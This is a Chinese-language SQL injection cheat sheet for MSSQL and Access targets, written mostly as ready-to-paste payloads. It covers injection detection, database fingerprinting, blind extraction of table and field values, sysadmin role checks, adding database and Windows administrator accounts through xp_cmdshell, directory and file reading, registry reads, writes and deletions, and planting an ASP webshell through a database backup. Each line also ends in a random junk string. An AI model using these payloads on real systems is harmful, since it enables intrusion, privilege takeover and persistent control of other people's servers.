1.判断是否有注入;and 1=1 ;and 1=2 0 }jB/Z_T
2.初步判断是否是mssql ;and user>0 ?cf9q@eAH
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3.注入参数是字符'and [查询条件] and ''=' <e|I?zI9-
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' -sl]
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5.判断数据库系统 SUxz &xH
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;and (select count(*) from sysobjects)>0 mssql \ '6hv>W@
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;and (select count(*) from msysobjects)>0 access ~=i9]%g?
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 LDHuf<`
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 FS30RP3
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 fQq'_q5
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9.(1)猜字段的ascii值(access) P#bZtWx'<N
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 85YE6^y
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(2)猜字段的ascii值(mssql) '+^HeM^;
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 !lp*0h(7
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10.测试权限结构(mssql) Oe=7z'o
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- BXyg ?
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- >p Y0f }
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ^2}0lP|
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- DYkNP:+
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- [f,; +Ze
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 8.bIP
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;and 1=(select IS_MEMBER('db_owner'));-- >.N?y@
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11.添加mssql和系统的帐户
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;exec master.dbo.sp_addlogin username;-- 0@[]l{N
;exec master.dbo.sp_password null,username,password;-- &u0JzK
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 6Pc3 ;X~
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;exec master.dbo.xp_cmdshell 'net user username password =n|n%N4Y
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- (<!Yw|~
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- YNV4w{>FD
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12.(1)遍历目录 oZTKG'
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;create table dirs(paths varchar(100), id int) uQgv ;jsPz
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;insert dirs exec master.dbo.xp_dirtree 'c:\' [A99e`
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;and (select top 1 paths from dirs)>0 ,;9byb
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) %7WGodlXW
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(2)遍历目录 }cuU5WQ?%
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ]Gm"U!h*
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 LRl2@&z<
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 Oo<L~7B
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 luAmq+
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 x`/"1]Nf
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13.mssql中的存储过程 R]hilb'a
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xp_regenumvalues 注册表根键, 子键 AB92R/
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 $A"C1)d;
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xp_regread 根键,子键,键值名 w+c%Y\:
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 HX\^ecZ#E
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xp_regwrite 根键,子键, 值名, 值类型, 值 %DH2]B? 0
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 BVAxeXO
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xp_regdeletevalue 根键,子键,值名 k$j4~C'$
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 >6xZF'4
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 }',/~T6
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14.mssql的backup创建webshell `a*_b9
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create table cmd(str image); t2V|moG
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insert into cmd(str) values (''); ,ru2C_LQ
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backup database model to disk='c:\l.asp'; T \Zf`.mt
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15.mssql内置函数 Y|%s =0M
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;and (select @@version)>0 获得Windows的版本号 =QG@{?JTl
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa jhU'UAn
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;and (select user_name())>0 爆当前系统的连接用户 `xb\)
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;and (select db_name())>0 得到当前连接的数据库 ,|:TML
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16.简洁的webshell |%p;4b
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create table cmd(str image); yDmNPk/
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insert into cmd(str) values (''); Fog4m=b`g
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backup database model to disk='g:\wwwtest\l.asp';